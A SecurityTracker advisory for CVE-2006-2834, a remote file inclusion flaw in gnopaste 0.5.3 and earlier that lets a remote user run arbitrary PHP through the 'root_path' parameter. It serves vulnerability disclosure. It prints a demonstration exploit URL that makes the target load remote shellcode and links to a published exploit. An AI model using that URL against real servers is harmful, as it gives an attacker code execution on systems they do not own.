gnopaste 'root_path' Include File Bug Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1016189
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SecurityTracker URL: http://securitytracker.com/id?1016189
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CVE Reference: CVE-2006-2834
(Links to External Site)
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Updated: Aug 18 2009
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Original Entry Date: May 31 2006
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Impact: Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 0.5.3 and prior versions
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Description: A vulnerability was reported in gnopaste. A remote user can include and execute arbitrary code on the target system.
The 'includes/common.php' script does not properly validate user-supplied input in the 'root_path' parameter. A remote user can
supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The
PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit
URL is provided:
http://[target]/[gnopaste_path]/includes/common.php?root_path=SHELLCODE_URL.txt?
SmokeZ reported this vulnerability.
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Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
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Solution: No solution was available at the time of this entry.
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Vendor URL: sourceforge.net/projects/gnopaste (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Message History:
None.
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Source Message Contents
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Date: Wed, 31 May 2006 01:00:55 -0400
Subject: gnopaste <= 0.5.3 - Remote File Include Vulnerabilities
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http://www.milw0rm.com/exploits/1851
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